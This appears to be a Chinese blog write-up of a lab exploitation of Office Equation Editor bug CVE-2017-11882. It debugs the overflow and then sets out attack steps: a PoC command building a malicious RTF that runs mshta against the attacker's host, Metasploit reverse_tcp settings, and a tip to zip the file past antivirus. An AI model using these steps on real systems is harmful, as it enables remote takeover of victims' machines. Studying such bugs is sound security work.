天天看點

Microsoft Office公式編輯器(CVE-2017-11882)漏洞分析報告0x01 漏洞環境0x02 漏洞成因0x03 影響漏洞版本0x04 分析過程0x05 利用過程0x06 生成攻擊檔案0x07 結果

文章目錄

  • 0x01 漏洞環境
  • 0x02 漏洞成因
  • 0x03 影響漏洞版本
  • 0x04 分析過程
    • 緩衝區溢位點
    • 動态分析
  • 0x05 利用過程
    • 彈出網頁
    • msf配置
    • 攻擊方和被攻擊方進行通訊
    • 攻擊pc445端口
  • 0x06 生成攻擊檔案
    • msf
    • 開始攻擊
  • 0x07 結果

0x01 漏洞環境

Kali Linux 2017.03 + Windows 7 + Office 2016

滲透機:Kali Linux + POC代碼

靶機:Win7 + Office 2016

EQNEDT32.EXE實際上是一個com元件,是一個标準的接口,com元件:會實作一些接口,Windows下特殊exe實作了一些接口是讓其他exe調用的接口,用python的rtfobg這個元件進行檢視,需要在python中安裝ole這個庫要用xp因為win7下找不到好的jmp esp

0x02 漏洞成因

如果樣本彈出了電腦,那麼一定會存在打開程序的API,常見API有這幾個:

① WinExec

② ShellExecute

③ CreateProcess

樣本運作結果

檢視這個計算機是什麼程序調用的,是office2003的計算公式調用的

0x03 影響漏洞版本

Microsoft Office 2000

Microsoft Office 2003

Microsoft Office 2007 Service Pack 3

Microsoft Office 2010 Service Pack 2

Microsoft Office 2013 Service Pack 1

Microsoft Office 2016

0x04 分析過程

緩衝區溢位點

用od附加這個程序CreateProcessA下斷點,,cmd.exe是用指令行啟動個電腦,

棧中往上拉,call 建立程序時傳回位址來自kernel32是以不是CreateProcessA啟動的,是以檢視k是WinExec這個啟動的,也就是在溢出時執行的是WinExec,,,是以堆棧可能被破壞的是以要對WinExec下斷點

##定位漏洞函數

414141和430c18是自己構造的,430c18是傳回位址,往上拉看到gid,41160f斷點

斷點下好後,資料視窗中跟随檢視12f1b8-12f1cc這裡面什麼時候變成41

覆寫的指令

動态分析

0x05 利用過程

彈出網頁

漏洞利用的步驟

  1. 定立目标:彈出一個網頁

    2.編寫 shellcode修改樣本中的執行字元串改為cmd.exe /c explorer.exe http://www.15pb.co

    3.處理好的字元串:636D642E657865202F63206578706C6F7265722E65786520687474703A2F2F7777772E313570622E636F0D0A進行樣本的覆寫

    4、或者進行od的動态修改:要在這個函數出來時候進行修改

msf配置

①更新 Metasploit

結果:apt update; apt install metasploit-framework

②啟動msf

啟動 msf:進入msf:msfconsole,也就是大msf按table補全

③安裝所需子產品

cve-2017-11882.rb這個子產品拷貝到指定檔案夾中cd cve-2017-11882.rb /usr/share/metasploitframework/modules/exploits/windows/fileformat

如果指令拷貝不成功,則進行手動拷貝

④重新開機

子產品拷貝成功需要重新啟動msf,要不這個子產品無法生效

##攻擊PC環境

cve-2017-11882這個子產品适合win7 32位的作業系統,smb_ms_170這個子產品适合win7 64位作業系統,實驗用于win7 32位作業系統,也就是cve-2017-11882這個子產品

##檢視ip

檢視kail的ip:重親打開個終端ifconfig 出來ip是192.168.0.200

檢視win7的ip,Win7要把防火牆關掉:

192.168.0.176

攻擊方和被攻擊方進行通訊

首先要在同一個網段上,kail:192.168.0.200,,,檢視win7的ip,Win7要把防火牆關掉:

192.168.0.176 看這倆個機器是否能ping通,,在kail上ping 192.168.0.176,在Win7上ping 192.168.0.200

kail在新打開的終端上進行ping

攻擊pc445端口

win7 32位作業系統的445端口是否打開netstat -ano -p tcp | find “445” >nul 2>nul && echo 445

netstat -an 或者是netstat -ano

0x06 生成攻擊檔案

桌面除了rb還有pyth腳本,pryth是這條指令寫進去

下邊指令ip是kail

python CVE-2017-11882.py -c “mshta.exe http://192.168.0.200:8080/11882” -o 1.rtf ,,, -c是要輸出的指令,1.rtf是生成的

右鍵1.rtf壓縮這個檔案夾要不就給殺掉,windows defat,1.rtf拷貝到Win7下的輕按兩下

将壓縮好的1.zip拷貝到真機,拷貝到要攻擊的pc上,

msf

search 漏洞利用子產品指令: search cve-2017-11882

使用對應漏洞利用子產品

use exploit/windows/fileformat/cve-2017-11882

設定漏洞利用資訊

包括 payload 類型、IP、端口等set payload windows/meterpreter/reverse_tcp

set lhost 192.168.0.200(Kail 系統的 IP)

set lport 4444

set uripath 11882 設定路徑通路時候192.168.0.95:8080/11882這樣進行通路的

show options(顯示必要設定的選項,檢視有無漏

開始攻擊

Exploit/run,等待後門程式回連,然後攻擊的pc要打開1.rtf

Microsoft Office公式編輯器(CVE-2017-11882)漏洞分析報告0x01 漏洞環境0x02 漏洞成因0x03 影響漏洞版本0x04 分析過程0x05 利用過程0x06 生成攻擊檔案0x07 結果

0x07 結果

Microsoft Office公式編輯器(CVE-2017-11882)漏洞分析報告0x01 漏洞環境0x02 漏洞成因0x03 影響漏洞版本0x04 分析過程0x05 利用過程0x06 生成攻擊檔案0x07 結果
Microsoft Office公式編輯器(CVE-2017-11882)漏洞分析報告0x01 漏洞環境0x02 漏洞成因0x03 影響漏洞版本0x04 分析過程0x05 利用過程0x06 生成攻擊檔案0x07 結果

# 0x07 參考文獻

[1]《高端調試》張銀奎 著

[2]《0day安全:軟體漏洞分析技術(第2版)》 王清 著

繼續閱讀